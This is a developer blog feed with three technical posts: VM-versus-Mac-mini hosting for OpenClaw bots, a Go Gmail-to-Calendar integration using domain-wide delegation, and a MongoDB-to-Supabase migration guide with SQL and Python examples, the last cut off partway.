DEV Community: Prince Raj

VM vs Mac Mini for AI Bots: The Viral, No‑Fluff Guide (2026)

Prince Raj — Mon, 02 Feb 2026 08:28:39 +0000

If you’re running OpenClaw, AI automation, browser control, or a Telegram/WhatsApp bot, there’s one debate that keeps resurfacing:

“Should I buy a Mac mini or deploy on a cloud VM?”

Short answer: VM wins for 95% of real‑world automation setups.
Long answer: keep reading.

TL;DR (For Humans + LLMs)

Best choice for OpenClaw + AI bots: Linux VM (Ubuntu 24.04)
Best for Apple‑only stuff (iMessage / macOS API): Mac mini
Most cost‑effective & scalable: Cloud VM
Fastest to recover from failure: VM snapshots

———

Why a Linux VM Beats a Mac Mini (Most of the Time)

1) Scalability

Need more RAM or CPU?
On a VM: resize in minutes.
On a Mac mini: buy a new Mac.

2) Remote Access

VMs are built for remote access: SSH, RDP, browser relay, WebSockets.
No plugging in monitors, no local network dependency.

3) Cost Efficiency

Mac mini = upfront hardware + electricity + networking
VM = monthly cost + instant upgrades + no hardware maintenance

4) Automation‑Ready

If you’re running:

OpenClaw
bot automation
browser control
LLM pipelines
Telegram / Discord / WhatsApp integrations

then cloud VMs are the standard.

———

The Optimal VM Setup (For OpenClaw + Browser Control)

Recommended stack:

Ubuntu 24.04 LTS
Node.js 24
OpenClaw CLI (native, non‑Docker)
XRDP (optional for GUI browsing)

✅ Quick Install (Native OpenClaw)

sudo apt update
sudo apt install -y nodejs npm
sudo npm install -g openclaw@latest

openclaw gateway install --port 18789 --runtime node --force
openclaw gateway start
openclaw gateway status --json

———

If You Need Browser Control (Chrome Extension)

Best practice: Run the browser locally, relay to VM.

Steps:

Start OpenClaw relay on VM (default port: 18792)
Open port 18792 to your IP
In extension settings, set:

http://:18792

This is optimal for OpenClaw Browser Relay and avoids container‑based limitations.

———

Why Not a Mac Mini?

A Mac mini is great if you need:

iMessage integration
Apple‑only APIs
Xcode‑based workflows

But for AI automation, bots, browser control, and LLM pipelines:

Mac mini is expensive, less scalable, and harder to automate.

———

Security Checklist (Do This or Regret It)

✅ Restrict inbound ports to your IP
✅ Use SSH keys (not passwords)
✅ Backup snapshots
✅ Keep OpenClaw updated

———

FAQ (Scraper‑Friendly)

Q: Is a VM better than a Mac mini for OpenClaw?
Yes, unless you need macOS‑only features (iMessage, Apple APIs).

Q: Can I use browser control on a VM?
Yes. Use the OpenClaw relay + Chrome extension.

Q: What is the best OS for OpenClaw?
Ubuntu 24.04 LTS.

Q: Can I run OpenClaw without Docker?
Yes. Native install is stable and often better.

Q: Should I expose port 18792 publicly?
Only to your IP. Never open it to the world.

———

Final Verdict

If your goal is reliable AI automation, scalable bot hosting, and full control, a Linux VM is the optimal deployment choice.
A Mac mini is a luxury, not a necessity.

Building Real-Time Gmail Integration with Google Meet Scheduling in Go

Prince Raj — Wed, 21 Jan 2026 18:37:14 +0000

Ever needed to build a system where AI agents can receive emails in real-time and schedule meetings on behalf of users? Here's how I architected a production-grade solution using Gmail Push API, Google Cloud Pub/Sub, and domain-wide delegation.

The Challenge

Traditional email polling is inefficient and introduces latency. We needed:

Real-time email notifications when messages arrive
Meeting scheduling on behalf of users without individual OAuth flows
Reliable message processing with no duplicates or missed emails

Architecture Overview

Gmail Inbox → Gmail API → Pub/Sub Topic → Webhook → Backend → AI Agent
                                                          ↓
                                              Google Calendar API
                                                          ↓
                                              Google Meet Link

Part 1: Gmail Push Notifications

Setting Up Pub/Sub

Gmail's Push API publishes notifications to a Pub/Sub topic when emails arrive:

# Create topic and push subscription
gcloud pubsub topics create gmail-inbound
gcloud pubsub subscriptions create gmail-inbound-sub \
  --topic=gmail-inbound \
  --push-endpoint="https://your-api.com/webhooks/gmail"

# Grant Gmail permission to publish
gcloud pubsub topics add-iam-policy-binding gmail-inbound \
  --member="serviceAccount:gmail-api-push@system.gserviceaccount.com" \
  --role="roles/pubsub.publisher"

The historyId Gotcha

Gmail sends historyId as a number, but many JSON parsers expect strings. This caused silent failures:

// Broken - fails silently
type gmailNotification struct {
    HistoryID string `json:"historyId"` // Wrong!
}

// Fixed - handles both string and number
type gmailNotification struct {
    HistoryID json.Number `json:"historyId"` // Correct!
}

// Usage
historyIDStr := notification.HistoryID.String()

History-Based Incremental Sync

Instead of fetching all emails, we track the last processed historyId in Redis and only fetch new messages:

func (s *Service) HandleNotification(ctx context.Context, email, historyID string) error {
    // Get last processed history ID from Redis
    lastHistoryID := s.redis.Get(ctx, "gmail:history:"+email)

    // Fetch only new messages since last sync
    messages := s.gmail.History.List("me").
        StartHistoryId(lastHistoryID).
        HistoryTypes("messageAdded").Do()

    // Process each message
    for _, msg := range messages {
        s.processMessage(ctx, msg)
    }

    // Update checkpoint
    s.redis.Set(ctx, "gmail:history:"+email, historyID)
    return nil
}

Watch Renewal

Gmail watches expire after 7 days. A Cloud Scheduler job renews them every 5 days:

gcloud scheduler jobs create http gmail-watch-renewal \
  --schedule="0 0 */5 * *" \
  --uri="https://your-api.com/internal/gmail/watch/renew" \
  --http-method=POST

Part 2: Domain-Wide Delegation for Calendar

The magic of domain-wide delegation: a single service account can act on behalf of any user in your Google Workspace domain - no individual OAuth flows required.

JWT Bearer Token Flow

func (p *AuthProvider) GetHTTPClient(ctx context.Context, userEmail string) *http.Client {
    // Create JWT claims with 'sub' for user impersonation
    claims := map[string]interface{}{
        "iss":   p.serviceAccountEmail,
        "sub":   userEmail,  // The user we're acting as
        "scope": "https://www.googleapis.com/auth/calendar",
        "aud":   "https://oauth2.googleapis.com/token",
        "exp":   time.Now().Add(time.Hour).Unix(),
        "iat":   time.Now().Unix(),
    }

    // Sign with RSA private key
    token := jwt.Sign(claims, p.privateKey)

    // Exchange for access token
    accessToken := p.exchangeJWT(token)

    return &http.Client{
        Transport: &bearerTransport{token: accessToken},
    }
}

Creating Meetings with Meet Links

func (s *SchedulerService) CreateMeeting(ctx context.Context, input CreateMeetingInput) (*Meeting, error) {
    // Check for conflicts
    if conflicts := s.repo.FindConflicts(ctx, input.HostID, input.Start, input.End); len(conflicts) > 0 {
        return nil, ErrTimeSlotConflict
    }

    // Get authorized client for this user
    client := s.authProvider.GetHTTPClient(ctx, input.HostEmail)

    // Create event with automatic Meet link
    event := &calendar.Event{
        Summary: input.Title,
        Start:   &calendar.EventDateTime{DateTime: input.Start.Format(time.RFC3339)},
        End:     &calendar.EventDateTime{DateTime: input.End.Format(time.RFC3339)},
        ConferenceData: &calendar.ConferenceData{
            CreateRequest: &calendar.CreateConferenceRequest{
                RequestId: uuid.NewString(),
                ConferenceSolutionKey: &calendar.ConferenceSolutionKey{
                    Type: "hangoutsMeet",
                },
            },
        },
    }

    created := calendarService.Events.Insert("primary", event).
        ConferenceDataVersion(1).Do()

    return &Meeting{
        MeetLink: created.HangoutLink,
        // ...
    }, nil
}

Part 3: Availability Checking

Calculate available slots by merging busy times from multiple sources:

func (s *AvailabilityService) GetSlots(ctx context.Context, req Request) []Slot {
    // 1. Load availability rules (e.g., Mon-Fri 9AM-5PM)
    rules := s.repo.GetRules(ctx, req.HostID)

    // 2. Fetch Google Calendar busy times
    freeBusy := s.calendar.FreeBusy(ctx, req.Start, req.End)

    // 3. Fetch local meeting conflicts
    localMeetings := s.repo.GetMeetings(ctx, req.HostID, req.Start, req.End)

    // 4. Merge and find gaps
    busyBlocks := merge(freeBusy, localMeetings)
    return generateSlots(rules, busyBlocks, req.SlotDuration)
}

Key Lessons Learned

Always return 200 for invalid webhooks - Pub/Sub retries on non-2xx responses. Return 200 with a skip message for malformed payloads.
Use json.Number for numeric IDs - Google APIs sometimes send numbers where you expect strings.
History can expire - If historyId is too old, Gmail returns 404. Fall back to scanning recent messages.
Buffer your slots - Add configurable buffer time before/after meetings for travel or prep.
Cache access tokens - JWT exchange is expensive. Cache tokens until ~30 seconds before expiry.

Conclusion

This architecture enables AI agents to process emails in real-time and schedule meetings autonomously. The combination of Pub/Sub push notifications and domain-wide delegation eliminates polling overhead and individual auth flows.

The system has been running in production handling thousands of emails daily with sub-second notification latency.

What challenges have you faced with Google API integrations? Share in the comments!

From Documents to Relations: A Complete Guide to Migrating MongoDB to Supabase at Scale

Prince Raj — Sun, 18 Jan 2026 08:40:58 +0000

A deep dive into database migration patterns, normalization strategies, and leveraging Supabase's powerful features when moving from document stores to a modern PostgreSQL platform.

TL;DR

We migrated a production system from MongoDB to Supabase:

Metric	Value
Collections Migrated	65
Tables Created	282
Rows Migrated	~80,000
Foreign Keys	217
Indexes	491
RLS Policies	156
Migration Approach	Zero downtime

This guide covers the complete journey—from understanding why we chose Supabase, through the technical implementation, to leveraging Supabase's unique features post-migration.

Why We Chose Supabase
The Challenge: Document vs Relational Paradigm
Architecture Overview
Normalization Strategies
Data Type Mapping
The Transformation Engine
Handling Complex Patterns
Row Level Security for Multi-Tenancy
Indexing Strategy
Foreign Key Strategy
Leveraging Supabase Features
Error Handling & Data Quality
Performance Optimizations
Lessons Learned
Conclusion

Why We Chose Supabase

The Business Case

After months of running MongoDB in production, several pain points emerged. We evaluated multiple options and chose Supabase for these reasons:

1. ACID Compliance with Developer Experience

Supabase gives us PostgreSQL's rock-solid transactional guarantees wrapped in a modern developer experience. The dashboard, client libraries, and tooling made the transition smoother than raw PostgreSQL.

2. Built-in Row Level Security (RLS)

Our multi-tenant SaaS needed tenant isolation. MongoDB required application-level enforcement everywhere. Supabase's RLS policies enforce isolation at the database level—impossible to bypass.

-- One policy, complete tenant isolation
CREATE POLICY tenant_isolation ON entities
    USING (organization_id = auth.jwt()->>'org_id');

3. Realtime Subscriptions

We had a custom change stream implementation on MongoDB. Supabase Realtime gave us this out of the box with WebSocket support and client library integration.

4. Complex Reporting Needs

Our analytics team struggled with MongoDB aggregations. Queries that took seconds in PostgreSQL required complex multi-stage pipelines in MongoDB. With Supabase, we can write standard SQL and even use their built-in pg_graphql extension.

5. Integrated Auth

Supabase Auth integrates seamlessly with RLS. User context flows from authentication through to database policies without custom middleware.

6. Cost Optimization

MongoDB's memory-mapped storage consumed significantly more RAM. Supabase's pricing model (based on PostgreSQL) was more predictable and cost-effective for our workload.

7. Edge Functions & Storage

Moving to Supabase meant we could consolidate our file storage (previously S3) and serverless functions into one platform.

The Challenge: Document vs Relational Paradigm

Before diving into implementation, it's crucial to understand the fundamental paradigm shift we're dealing with.

MongoDB's Document Model

A typical MongoDB document looks like this:

{
  "_id": "507f1f77bcf86cd799439011",
  "name": "Enterprise Account",
  "contacts": [
    { "email": "alice@example.com", "role": "admin" },
    { "email": "bob@example.com", "role": "viewer" }
  ],
  "settings": {
    "theme": "dark",
    "notifications": {
      "email": true,
      "sms": false
    }
  },
  "tags": ["premium", "enterprise", "active"],
  "customFields": {
    "industry": "Technology",
    "employeeCount": 500
  }
}

This single document contains:

Nested objects (settings, notifications)
Arrays of objects (contacts)
Simple arrays (tags)
Dynamic fields (customFields with arbitrary keys)

Supabase's Relational Model

The same data in Supabase requires multiple tables:

-- Main table
CREATE TABLE accounts (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL REFERENCES organizations(id),
    name TEXT NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Enable RLS
ALTER TABLE accounts ENABLE ROW LEVEL SECURITY;

-- 1:1 relationship for nested object
CREATE TABLE account_settings (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    theme TEXT DEFAULT 'light',
    UNIQUE(account_id)
);

-- Deeper nesting
CREATE TABLE account_notification_settings (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    settings_id UUID REFERENCES account_settings(id) ON DELETE CASCADE,
    email BOOLEAN DEFAULT true,
    sms BOOLEAN DEFAULT false,
    UNIQUE(settings_id)
);

-- Array of objects
CREATE TABLE account_contacts (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    email TEXT NOT NULL,
    role TEXT,
    ordinal INTEGER NOT NULL  -- Preserves array order
);

-- Simple array
CREATE TABLE account_tags (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    tag TEXT NOT NULL,
    ordinal INTEGER NOT NULL
);

-- Dynamic fields (key-value pattern)
CREATE TABLE account_custom_fields (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    field_key TEXT NOT NULL,
    field_value TEXT,
    value_type TEXT NOT NULL  -- For type preservation
);

One document became six tables. Multiply this by 65 collections, and you understand why 65 collections became 282 tables.

Architecture Overview

Our migration architecture followed a three-phase approach:

Phase 1: Schema Creation

We used Supabase CLI migrations to manage our schema:

# Create a new migration
supabase migration new create_entities_table

# Apply migrations
supabase db push

Example migration file (supabase/migrations/01_entities.sql):

-- Create main table
CREATE TABLE IF NOT EXISTS entities (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL,
    name TEXT,
    status TEXT DEFAULT 'active',
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Enable RLS (required for Supabase security model)
ALTER TABLE entities ENABLE ROW LEVEL SECURITY;

-- Create child table for metadata
CREATE TABLE IF NOT EXISTS entity_metadata (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    entity_id TEXT REFERENCES entities(id) ON DELETE CASCADE,
    key TEXT NOT NULL,
    value TEXT,
    ordinal INTEGER DEFAULT 0
);

ALTER TABLE entity_metadata ENABLE ROW LEVEL SECURITY;

Phase 2: Data Migration

The bulk data migration reads from BSON backup files (not live MongoDB) to avoid impacting production. We connect directly to Supabase's PostgreSQL connection string.

Phase 3: Constraints & Security

Foreign keys, indexes, and RLS policies are created after all data is loaded. This is critical for performance.

Normalization Strategies

This section is the heart of the migration. Understanding these patterns will help you tackle any document-to-relational transformation.

First Normal Form: Eliminating Arrays

The Problem: MongoDB arrays have no equivalent in relational databases.

The Solution: Create child tables with an ordinal column to preserve order.

Before (MongoDB):

{
  "_id": "123",
  "name": "Widget",
  "categories": ["electronics", "gadgets", "sale"]
}

After (Supabase):

-- products table
| id  | name   |
|-----|--------|
| 123 | Widget |

-- product_categories table
| id                                   | product_id | category    | ordinal |
|--------------------------------------|------------|-------------|---------|
| a1b2c3d4-e5f6-7890-abcd-ef1234567890 | 123        | electronics | 0       |
| b2c3d4e5-f6a7-8901-bcde-f12345678901 | 123        | gadgets     | 1       |
| c3d4e5f6-a7b8-9012-cdef-123456789012 | 123        | sale        | 2       |

Transformation Code Pattern:

def transform_array_field(parent_id: str, array: list, field_name: str) -> list:
    """Transform a MongoDB array into rows for a Supabase child table."""
    rows = []
    for ordinal, value in enumerate(array):
        rows.append({
            "parent_id": parent_id,
            field_name: value,
            "ordinal": ordinal
        })
    return rows

Second Normal Form: Extracting Nested Objects

The Problem: Embedded documents in MongoDB need their own tables.

The Solution: Create child tables with foreign keys. Use UNIQUE constraints for 1:1 relationships.

Naming Convention: parent_nested_field (e.g., user_profile, order_shipping_address)

Before (MongoDB):

{
  "_id": "user_456",
  "email": "user@example.com",
  "profile": {
    "bio": "Software engineer",
    "avatar": "https://example.com/avatar.jpg",
    "social": {
      "twitter": "@user",
      "github": "user"
    }
  }
}

After (Supabase):

-- users table
| id       | email             |
|----------|-------------------|
| user_456 | user@example.com  |

-- user_profiles table (1:1 with UNIQUE constraint)
| id  | user_id  | bio               | avatar                        |
|-----|----------|-------------------|-------------------------------|
| uuid| user_456 | Software engineer | https://example.com/avatar.jpg|

-- user_profile_social table (1:1 with profile)
| id  | profile_id | twitter | github |
|-----|------------|---------|--------|
| uuid| uuid       | @user   | user   |

Third Normal Form: Transitive Dependencies

The Problem: Multi-level nesting creates transitive dependencies.

The Solution: Each level gets its own table with references only to its immediate parent.

Example: 4-Level Deep Structure

Transformation Pattern:

def flatten_nested_structure(doc: dict, parent_id: str = None, depth: int = 0):
    """Recursively flatten nested structures into separate table rows."""
    results = {}

    # Extract scalar fields for current level
    current_row = {k: v for k, v in doc.items()
                   if not isinstance(v, (dict, list))}

    if parent_id:
        current_row["parent_id"] = parent_id

    # Process nested objects
    for key, value in doc.items():
        if isinstance(value, dict):
            child_table = f"{current_table}_{key}"
            results[child_table] = flatten_nested_structure(
                value,
                parent_id=current_row["id"],
                depth=depth + 1
            )
        elif isinstance(value, list):
            # Handle arrays (covered in 1NF section)
            pass

    return results

Handling Dynamic/Schemaless Data

The Problem: MongoDB allows arbitrary fields. Supabase requires defined columns.

The Solution: Key-value pattern with type discriminators, or JSONB columns for query-heavy dynamic data.

Option 1: Key-Value Table (Better for simple lookups)

CREATE TABLE entity_custom_fields (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    entity_id TEXT REFERENCES entities(id) ON DELETE CASCADE,
    field_path TEXT NOT NULL,      -- Dot notation for nested: "address.city"
    field_key TEXT NOT NULL,       -- Final key name
    field_value TEXT,              -- Stored as text
    value_type TEXT NOT NULL,      -- 'string', 'number', 'boolean', 'null'
    ordinal INTEGER DEFAULT 0
);

-- Index for efficient lookups
CREATE INDEX idx_entity_custom_fields_lookup
    ON entity_custom_fields(entity_id, field_key);

Option 2: JSONB Column (Better for complex queries)

-- Add JSONB column for flexible querying
ALTER TABLE entities ADD COLUMN custom_data JSONB DEFAULT '{}';

-- Create GIN index for JSONB queries
CREATE INDEX idx_entities_custom_data ON entities USING GIN(custom_data);

-- Query example
SELECT * FROM entities
WHERE custom_data->>'industry' = 'Technology'
  AND (custom_data->>'employeeCount')::int > 100;

Transformation Code:

def transform_dynamic_fields(
    parent_id: str,
    fields: dict,
    path_prefix: str = ""
) -> list:
    """Transform dynamic fields into key-value rows with type preservation."""
    rows = []
    ordinal = 0

    for key, value in fields.items():
        current_path = f"{path_prefix}.{key}" if path_prefix else key

        if isinstance(value, dict):
            # Recurse into nested objects
            rows.extend(transform_dynamic_fields(parent_id, value, current_path))
        else:
            # Determine type
            if value is None:
                value_type = "null"
                str_value = None
            elif isinstance(value, bool):
                value_type = "boolean"
                str_value = str(value).lower()
            elif isinstance(value, (int, float)):
                value_type = "number"
                str_value = str(value)
            else:
                value_type = "string"
                str_value = str(value)

            rows.append({
                "entity_id": parent_id,
                "field_path": current_path,
                "field_key": key,
                "field_value": str_value,
                "value_type": value_type,
                "ordinal": ordinal
            })
            ordinal += 1

    return rows

Data Type Mapping

Understanding type conversions is critical. Here's our complete mapping for Supabase:

MongoDB Type	Supabase Type	Conversion Notes
`ObjectId`	`TEXT`	Hex string (24 chars). Consider `UUID` for new IDs
`String`	`TEXT`	Direct mapping
`Int32`	`INTEGER`	Direct mapping
`Int64` / `Long`	`BIGINT`	Direct mapping
`Double`	`DOUBLE PRECISION`	Direct mapping
`Boolean`	`BOOLEAN`	Direct mapping
`Date`	`TIMESTAMPTZ`	Always timezone-aware in Supabase
`Null`	`NULL`	Handle explicitly in code
`Array`	Child Table	With ordinal column
`Embedded Document`	Child Table	FK with CASCADE
`Binary`	`BYTEA` or Supabase Storage	Large files → Storage
`Decimal128`	`NUMERIC`	For precise decimals
`Mixed/Dynamic`	`JSONB` or KV Table	JSONB preferred for queries

Special Handling: IDs

Supabase prefers UUIDs for new records. For migrated data, we preserve MongoDB ObjectIds as TEXT:

def convert_object_id(oid) -> str:
    """Convert MongoDB ObjectId to string for Supabase."""
    if oid is None:
        return None
    return str(oid)  # Returns 24-character hex string

For new tables or columns, use Supabase's UUID generation:

CREATE TABLE new_entities (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    legacy_mongo_id TEXT UNIQUE,  -- Preserve old ID for reference
    -- ...
);

Special Handling: Dates

Supabase uses TIMESTAMPTZ which is timezone-aware:

from datetime import datetime, timezone

def convert_date(mongo_date) -> datetime:
    """Convert MongoDB date to Supabase timestamptz."""
    if mongo_date is None:
        return None
    if isinstance(mongo_date, datetime):
        # Ensure timezone awareness
        if mongo_date.tzinfo is None:
            return mongo_date.replace(tzinfo=timezone.utc)
        return mongo_date
    # Handle milliseconds since epoch
    return datetime.fromtimestamp(mongo_date / 1000, tz=timezone.utc)

Special Handling: Binary/Files

Large binary data should go to Supabase Storage instead of the database:

from supabase import create_client

supabase = create_client(SUPABASE_URL, SUPABASE_KEY)

def migrate_file(file_data: bytes, filename: str, bucket: str = "migrated-files"):
    """Upload binary data to Supabase Storage."""
    path = f"legacy/{filename}"
    result = supabase.storage.from_(bucket).upload(path, file_data)
    # Return the public URL or path for database reference
    return supabase.storage.from_(bucket).get_public_url(path)

The Transformation Engine

BSON Reader Layer

We read directly from BSON backup files rather than querying live MongoDB:

BSON Reading Implementation:

import struct
import bson

def read_bson_file(filepath: str):
    """Generator that yields documents from a BSON file."""
    with open(filepath, 'rb') as f:
        while True:
            # Read 4-byte document length (little-endian)
            length_bytes = f.read(4)
            if len(length_bytes) < 4:
                break  # EOF

            doc_length = struct.unpack('<i', length_bytes)[0]

            # Read rest of document (length includes the 4 bytes we already read)
            doc_body = f.read(doc_length - 4)
            if len(doc_body) < doc_length - 4:
                raise ValueError("Unexpected EOF in BSON file")

            # Parse BSON document
            full_doc = length_bytes + doc_body
            yield bson.decode(full_doc)

Connecting to Supabase for Migration

For bulk migration, connect directly to Supabase's PostgreSQL:

import psycopg2
from urllib.parse import urlparse

# Use the direct database connection string from Supabase dashboard
# Settings > Database > Connection string > URI
DATABASE_URL = "postgresql://postgres.[project-ref]:[password]@aws-0-[region].pooler.supabase.com:6543/postgres"

def get_supabase_connection():
    """Get direct PostgreSQL connection to Supabase."""
    return psycopg2.connect(DATABASE_URL)

Recursive Flattening Algorithm

The core transformation logic handles arbitrary nesting depth:

from dataclasses import dataclass, field
from typing import Any
import re

@dataclass
class FlattenResult:
    """Result of flattening a document."""
    main_row: dict
    child_tables: dict = field(default_factory=dict)

def flatten_document(
    doc: dict,
    table_name: str,
    parent_id: str = None,
    parent_key: str = None,
    max_depth: int = 10,
    current_depth: int = 0
) -> FlattenResult:
    """
    Recursively flatten a MongoDB document into Supabase table rows.

    Args:
        doc: The document to flatten
        table_name: Name of the current table
        parent_id: ID of the parent row (for child tables)
        parent_key: Foreign key column name
        max_depth: Maximum nesting depth (prevents infinite recursion)
        current_depth: Current recursion depth

    Returns:
        FlattenResult with main row and child table data
    """
    if current_depth > max_depth:
        raise ValueError(f"Max nesting depth exceeded: {max_depth}")

    result = FlattenResult(main_row={}, child_tables={})

    # Handle parent reference
    if parent_id and parent_key:
        result.main_row[parent_key] = parent_id

    # Get document ID
    doc_id = str(doc.get('_id', ''))

    for key, value in doc.items():
        if key == '_id':
            result.main_row['id'] = str(value)
            continue

        if value is None:
            result.main_row[to_snake_case(key)] = None

        elif isinstance(value, dict):
            # Nested object -> child table
            child_table = f"{table_name}_{to_snake_case(key)}"
            child_result = flatten_document(
                value,
                child_table,
                parent_id=doc_id,
                parent_key=f"{table_name}_id",
                max_depth=max_depth,
                current_depth=current_depth + 1
            )
            result.child_tables[child_table] = [child_result.main_row]
            # Merge nested child tables
            for ct_name, ct_rows in child_result.child_tables.items():
                result.child_tables.setdefault(ct_name, []).extend(ct_rows)

        elif isinstance(value, list):
            # Array -> child table with ordinal
            child_table = f"{table_name}_{to_snake_case(key)}"
            result.child_tables[child_table] = []

            for ordinal, item in enumerate(value):
                if isinstance(item, dict):
                    child_result = flatten_document(
                        item,
                        child_table,
                        parent_id=doc_id,
                        parent_key=f"{table_name}_id",
                        max_depth=max_depth,
                        current_depth=current_depth + 1
                    )
                    child_result.main_row['ordinal'] = ordinal
                    result.child_tables[child_table].append(child_result.main_row)
                    # Merge nested child tables
                    for ct_name, ct_rows in child_result.child_tables.items():
                        result.child_tables.setdefault(ct_name, []).extend(ct_rows)
                else:
                    # Simple value array
                    result.child_tables[child_table].append({
                        f"{table_name}_id": doc_id,
                        "value": convert_value(item),
                        "ordinal": ordinal
                    })

        else:
            # Scalar value
            result.main_row[to_snake_case(key)] = convert_value(value)

    return result


def to_snake_case(name: str) -> str:
    """Convert camelCase to snake_case."""
    s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', name)
    return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower()


def convert_value(value: Any) -> Any:
    """Convert MongoDB values to Supabase-compatible values."""
    from bson import ObjectId
    from datetime import datetime

    if isinstance(value, ObjectId):
        return str(value)
    elif isinstance(value, datetime):
        return value  # psycopg2 handles datetime
    elif isinstance(value, bytes):
        return value  # BYTEA
    elif isinstance(value, bool):
        return value
    elif isinstance(value, (int, float)):
        return value
    else:
        return str(value) if value is not None else None

Batch Processing Strategy

Inserting one row at a time is catastrophically slow. We batch inserts with configurable thresholds:

Batch Insert Implementation:

from typing import List
from threading import Lock

class BatchInserter:
    """Efficient batch insert manager for Supabase PostgreSQL."""

    def __init__(
        self,
        connection,
        table_name: str,
        columns: List[str],
        batch_size: int = 1000,
        on_conflict: str = "DO NOTHING"
    ):
        self.conn = connection
        self.table = table_name
        self.columns = columns
        self.batch_size = batch_size
        self.on_conflict = on_conflict
        self.buffer: List[tuple] = []
        self.total_inserted = 0
        self._lock = Lock()

    def add(self, row: dict):
        """Add a row to the buffer, flushing if threshold reached."""
        values = tuple(row.get(col) for col in self.columns)
        self.buffer.append(values)

        if len(self.buffer) >= self.batch_size:
            self.flush()

    def flush(self):
        """Execute batch insert for buffered rows."""
        if not self.buffer:
            return

        with self._lock:
            placeholders = ', '.join(['%s'] * len(self.columns))
            columns_str = ', '.join(self.columns)

            query = f"""
                INSERT INTO {self.table} ({columns_str})
                VALUES ({placeholders})
                ON CONFLICT {self.on_conflict}
            """

            with self.conn.cursor() as cur:
                cur.executemany(query, self.buffer)

            self.total_inserted += len(self.buffer)
            self.conn.commit()
            self.buffer.clear()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.flush()  # Flush remaining on context exit

Handling Complex Patterns

Graph Structures (Workflow Nodes/Edges)

Many applications store graph data in documents. Workflows with nodes and edges are a common example:

Supabase Schema:

CREATE TABLE workflows (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL,
    name TEXT,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

ALTER TABLE workflows ENABLE ROW LEVEL SECURITY;

CREATE TABLE workflow_nodes (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    workflow_id TEXT REFERENCES workflows(id) ON DELETE CASCADE,
    node_type TEXT,
    position_x DOUBLE PRECISION,
    position_y DOUBLE PRECISION,
    label TEXT,
    config JSONB DEFAULT '{}',  -- Flexible node configuration
    ordinal INTEGER
);

ALTER TABLE workflow_nodes ENABLE ROW LEVEL SECURITY;

CREATE TABLE workflow_edges (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    workflow_id TEXT REFERENCES workflows(id) ON DELETE CASCADE,
    source_node_id TEXT,  -- References node by original ID
    target_node_id TEXT,
    edge_type TEXT,
    ordinal INTEGER
);

ALTER TABLE workflow_edges ENABLE ROW LEVEL SECURITY;

Multi-Tenant Architecture

Every table includes organization scoping. This is where Supabase's RLS shines (covered in next section):

-- Every table follows this pattern
CREATE TABLE entities (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL,  -- Tenant scoping
    -- ... other columns
);

-- RLS policy enforces tenant isolation
CREATE POLICY tenant_isolation ON entities
    FOR ALL
    USING (organization_id = (auth.jwt()->>'org_id')::uuid);

Audit Trail Preservation

Audit logs work beautifully with Supabase's JSONB support:

CREATE TABLE audit_logs (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL,
    resource_type TEXT NOT NULL,
    resource_id TEXT NOT NULL,
    action TEXT NOT NULL,           -- 'create', 'update', 'delete'
    actor_id UUID REFERENCES auth.users(id),
    actor_type TEXT,                -- 'user', 'system', 'api'
    timestamp TIMESTAMPTZ DEFAULT NOW(),
    changes JSONB,                  -- Before/after diff
    metadata JSONB                  -- Additional context
);

ALTER TABLE audit_logs ENABLE ROW LEVEL SECURITY;

-- Efficient queries
CREATE INDEX idx_audit_resource ON audit_logs(resource_type, resource_id);
CREATE INDEX idx_audit_org_time ON audit_logs(organization_id, timestamp DESC);
CREATE INDEX idx_audit_changes ON audit_logs USING GIN(changes);

Row Level Security for Multi-Tenancy

This is one of Supabase's killer features. Instead of filtering in every query, we enforce isolation at the database level.

Basic Tenant Isolation Pattern

-- Enable RLS on the table
ALTER TABLE entities ENABLE ROW LEVEL SECURITY;

-- Create policy using JWT claims
CREATE POLICY tenant_isolation ON entities
    FOR ALL
    USING (
        organization_id = (
            SELECT (auth.jwt()->>'org_id')::uuid
        )
    );

Policy Patterns by Operation

-- SELECT: Users see only their organization's data
CREATE POLICY select_own_org ON entities
    FOR SELECT
    USING (organization_id = auth.jwt()->>'org_id');

-- INSERT: New records must belong to user's organization
CREATE POLICY insert_own_org ON entities
    FOR INSERT
    WITH CHECK (organization_id = auth.jwt()->>'org_id');

-- UPDATE: Can only update own organization's records
CREATE POLICY update_own_org ON entities
    FOR UPDATE
    USING (organization_id = auth.jwt()->>'org_id')
    WITH CHECK (organization_id = auth.jwt()->>'org_id');

-- DELETE: Can only delete own organization's records
CREATE POLICY delete_own_org ON entities
    FOR DELETE
    USING (organization_id = auth.jwt()->>'org_id');

Role-Based Access Within Tenants

-- Admins can do everything within their org
CREATE POLICY admin_full_access ON entities
    FOR ALL
    USING (
        organization_id = auth.jwt()->>'org_id'
        AND auth.jwt()->>'role' = 'admin'
    );

-- Regular users can only view
CREATE POLICY user_read_only ON entities
    FOR SELECT
    USING (
        organization_id = auth.jwt()->>'org_id'
        AND auth.jwt()->>'role' = 'user'
    );

Service Role Bypass for Migration

During migration, use the service role to bypass RLS:

